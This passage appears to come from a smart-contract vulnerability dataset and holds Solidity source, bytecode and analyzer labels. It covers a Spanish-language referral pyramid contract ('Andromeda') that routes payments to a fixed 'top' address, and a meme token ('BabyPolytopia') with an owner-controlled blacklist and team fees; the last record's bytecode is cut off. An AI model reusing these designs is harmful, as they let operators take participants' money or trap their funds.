* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Andromeda is Ownable {
using SafeMath for uint;
address payable public top = 0x036908228b1c3Ab35C48212398B9d469A8D6F886;
address[] empty;
struct User {
address payable inviter;
address payable self;
address[] myReferred;
}
mapping(address => User) public tree;
constructor() public {
tree[top] = User(top, top, empty);
}
function enter(address payable inviter) external payable {
require(msg.value == 0.25 ether, "Debes enviar 0.25 ETH");
require(tree[msg.sender].inviter == address(0), "No puedes registrarte más de una vez con el mismo patrocinador");
require(tree[inviter].self == inviter, "Ese patrocinador no existe");
require(tree[inviter].myReferred.length < 90, "Tu patrocinador ya alcanzó su máximo de invitados");
tree[msg.sender] = User(inviter, msg.sender, empty);
tree[inviter].myReferred.push(msg.sender);
if (
tree[inviter].myReferred.length == 3 ||
tree[inviter].myReferred.length == 6 ||
tree[inviter].myReferred.length == 9 ||
tree[inviter].myReferred.length == 10 ||
tree[inviter].myReferred.length == 12 ||
tree[inviter].myReferred.length == 15 ||
tree[inviter].myReferred.length == 18 ||
tree[inviter].myReferred.length == 19 ||
tree[inviter].myReferred.length == 21 ||
tree[inviter].myReferred.length == 24 ||
tree[inviter].myReferred.length == 27 ||
tree[inviter].myReferred.length == 28 ||
tree[inviter].myReferred.length == 30 ||
tree[inviter].myReferred.length == 33 ||
tree[inviter].myReferred.length == 36 ||
tree[inviter].myReferred.length == 37 ||
tree[inviter].myReferred.length == 39 ||
tree[inviter].myReferred.length == 42 ||
tree[inviter].myReferred.length == 45 ||
tree[inviter].myReferred.length == 46 ||
tree[inviter].myReferred.length == 48 ||
tree[inviter].myReferred.length == 51 ||
tree[inviter].myReferred.length == 54 ||
tree[inviter].myReferred.length == 55 ||
tree[inviter].myReferred.length == 57 ||
tree[inviter].myReferred.length == 60 ||
tree[inviter].myReferred.length == 63 ||
tree[inviter].myReferred.length == 64 ||
tree[inviter].myReferred.length == 66 ||
tree[inviter].myReferred.length == 69 ||
tree[inviter].myReferred.length == 72 ||
tree[inviter].myReferred.length == 73 ||
tree[inviter].myReferred.length == 75 ||
tree[inviter].myReferred.length == 78 ||
tree[inviter].myReferred.length == 81 ||
tree[inviter].myReferred.length == 82 ||
tree[inviter].myReferred.length == 84 ||
tree[inviter].myReferred.length == 87 ||
tree[inviter].myReferred.length == 90
) {
inviter.transfer (0.125 ether);
top.transfer (0.125 ether);
} else {
inviter.transfer (0.175 ether);
top.transfer (0.075 ether);
}
}
function ReferredNumber(address consultado) external view returns(uint) {
return tree[consultado].myReferred.length;
}
function ReferredList(address consultado) external view returns(address[] memory) {
return tree[consultado].myReferred;
}
function send() public onlyOwner payable {
top.transfer(address(this).balance);
}
}
|
0x6080604052600436106100865760003560e01c8063d014c01f11610059578063d014c01f1461015e578063e957c83314610184578063f2fde38b146101c9578063f7240362146101fc578063fe6dcdba1461025e57610086565b8063715018a61461008b5780638da5cb5b146100a25780639d298509146100d3578063b46300ec14610156575b600080fd5b34801561009757600080fd5b506100a0610273565b005b3480156100ae57600080fd5b506100b7610327565b604080516001600160a01b039092168252519081900360200190f35b3480156100df57600080fd5b50610106600480360360208110156100f657600080fd5b50356001600160a01b0316610336565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561014257818101518382015260200161012a565b505050509050019250505060405180910390f35b6100a06103af565b6100a06004803603602081101561017457600080fd5b50356001600160a01b0316610455565b34801561019057600080fd5b506101b7600480360360208110156101a757600080fd5b50356001600160a01b0316610d95565b60408051918252519081900360200190f35b3480156101d557600080fd5b506100a0600480360360208110156101ec57600080fd5b50356001600160a01b0316610db3565b34801561020857600080fd5b5061022f6004803603602081101561021f57600080fd5b50356001600160a01b0316610ebd565b60405180836001600160a01b03168152602001826001600160a01b031681526020019250505060405180910390f35b34801561026a57600080fd5b506100b7610ee3565b61027b610ef2565b6000546001600160a01b039081169116146102dd576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b6001600160a01b0381166000908152600360209081526040918290206002018054835181840281018401909452808452606093928301828280156103a357602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610385575b50505050509050919050565b6103b7610ef2565b6000546001600160a01b03908116911614610419576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610452573d6000803e3d6000fd5b50565b346703782dace9d90000146104a9576040805162461bcd60e51b8152602060048201526015602482015274088cac4cae640cadcecd2c2e440605c646a408aa89605b1b604482015290519081900360640190fd5b336000908152600360205260409020546001600160a01b0316156104fe5760405162461bcd60e51b815260040180806020018281038252603f815260200180610fd4603f913960400191505060405180910390fd5b6001600160a01b0380821660008181526003602052604090206001015490911614610570576040805162461bcd60e51b815260206004820152601a60248201527f45736520706174726f63696e61646f72206e6f20657869737465000000000000604482015290519081900360640190fd5b6001600160a01b038116600090815260036020526040902060020154605a116105ca5760405162461bcd60e51b8152600401808060200182810382526033815260200180610fa16033913960400191505060405180910390fd5b6040518060600160405280826001600160a01b03168152602001336001600160a01b03168152602001600280548060200260200160405190810160405280929190818152602001828054801561064957602002820191906000526020600020905b81546001600160a01b0316815260019091019060200180831161062b575b50505091909252505033600090815260036020908152604091829020835181546001600160a01b039182166001600160a01b0319918216178355858401516001840180549190931691161790559183015180516106ac9260028501920190610ef6565b5050506001600160a01b03811660008181526003602081815260408320600201805460018101825581855291842090910180546001600160a01b03191633179055929091529054148061071a57506001600160a01b0381166000908152600360205260409020600201546006145b8061074057506001600160a01b0381166000908152600360205260409020600201546009145b8061076657506001600160a01b038116600090815260036020526040902060020154600a145b8061078c57506001600160a01b038116600090815260036020526040902060020154600c145b806107b257506001600160a01b038116600090815260036020526040902060020154600f145b806107d857506001600160a01b0381166000908152600360205260409020600201546012145b806107fe57506001600160a01b0381166000908152600360205260409020600201546013145b8061082457506001600160a01b0381166000908152600360205260409020600201546015145b8061084a57506001600160a01b0381166000908152600360205260409020600201546018145b8061087057506001600160a01b038116600090815260036020526040902060020154601b145b8061089657506001600160a01b038116600090815260036020526040902060020154601c145b806108bc57506001600160a01b038116600090815260036020526040902060020154601e145b806108e257506001600160a01b0381166000908152600360205260409020600201546021145b8061090857506001600160a01b0381166000908152600360205260409020600201546024145b8061092e57506001600160a01b0381166000908152600360205260409020600201546025145b8061095457506001600160a01b0381166000908152600360205260409020600201546027145b8061097a57506001600160a01b038116600090815260036020526040902060020154602a145b806109a057506001600160a01b038116600090815260036020526040902060020154602d145b806109c657506001600160a01b038116600090815260036020526040902060020154602e145b806109ec57506001600160a01b0381166000908152600360205260409020600201546030145b80610a1257506001600160a01b0381166000908152600360205260409020600201546033145b80610a3857506001600160a01b0381166000908152600360205260409020600201546036145b80610a5e57506001600160a01b0381166000908152600360205260409020600201546037145b80610a8457506001600160a01b0381166000908152600360205260409020600201546039145b80610aaa57506001600160a01b038116600090815260036020526040902060020154603c145b80610ad057506001600160a01b038116600090815260036020526040902060020154603f145b80610af657506001600160a01b0381166000908152600360205260409081902060020154145b80610b1c57506001600160a01b0381166000908152600360205260409020600201546042145b80610b4257506001600160a01b0381166000908152600360205260409020600201546045145b80610b6857506001600160a01b0381166000908152600360205260409020600201546048145b80610b8e57506001600160a01b0381166000908152600360205260409020600201546049145b80610bb457506001600160a01b038116600090815260036020526040902060020154604b145b80610bda57506001600160a01b038116600090815260036020526040902060020154604e145b80610c0057506001600160a01b0381166000908152600360205260409020600201546051145b80610c2657506001600160a01b0381166000908152600360205260409020600201546052145b80610c4c57506001600160a01b0381166000908152600360205260409020600201546054145b80610c7257506001600160a01b0381166000908152600360205260409020600201546057145b80610c9857506001600160a01b038116600090815260036020526040902060020154605a145b15610d1a576040516001600160a01b038216906000906701bc16d674ec80009082818181858883f19350505050158015610cd6573d6000803e3d6000fd5b506001546040516001600160a01b03909116906000906701bc16d674ec80009082818181858883f19350505050158015610d14573d6000803e3d6000fd5b50610452565b6040516001600160a01b0382169060009067026db992a3b180009082818181858883f19350505050158015610d53573d6000803e3d6000fd5b506001546040516001600160a01b039091169060009067010a741a462780009082818181858883f19350505050158015610d91573d6000803e3d6000fd5b5050565b6001600160a01b031660009081526003602052604090206002015490565b610dbb610ef2565b6000546001600160a01b03908116911614610e1d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038116610e625760405162461bcd60e51b8152600401808060200182810382526026815260200180610f7b6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600360205260009081526040902080546001909101546001600160a01b03918216911682565b6001546001600160a01b031681565b3390565b828054828255906000526020600020908101928215610f4b579160200282015b82811115610f4b57825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190610f16565b50610f57929150610f5b565b5090565b5b80821115610f575780546001600160a01b0319168155600101610f5c56fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373547520706174726f63696e61646f7220796120616c63616e7ac3b3207375206dc3a178696d6f20646520696e76697461646f734e6f20707565646573207265676973747261727465206dc3a17320646520756e612076657a20636f6e20656c206d69736d6f20706174726f63696e61646f72a264697066735822122049431f28785ef3ad7b33e3a0338a4001787ba796e3724d79bfa70193f31be5f864736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}]}}
| 8,185 |
0xaf75795b8399b4ccea56d76257de38e2693dd3c9
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BabyPolytopia is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "baby Polytopia";
string private constant _symbol = " Baby poly ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612971565b61045e565b6040516101789190612e33565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612922565b61048d565b6040516101e09190612e33565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613065565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ee565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612894565b610783565b6040516102b19190612ff0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d65565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612971565b61098d565b60405161035b9190612e33565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ad565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a40565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e6565b61121a565b6040516104189190612ff0565b60405180910390f35b60606040518060400160405280600e81526020017f6261627920506f6c79746f706961000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161372960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f30565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f30565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d03565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f204261627920706f6c7920000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f30565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613306565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d71565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f30565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128bd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128bd565b6040518363ffffffff1660e01b8152600401610e1f929190612d80565b602060405180830381600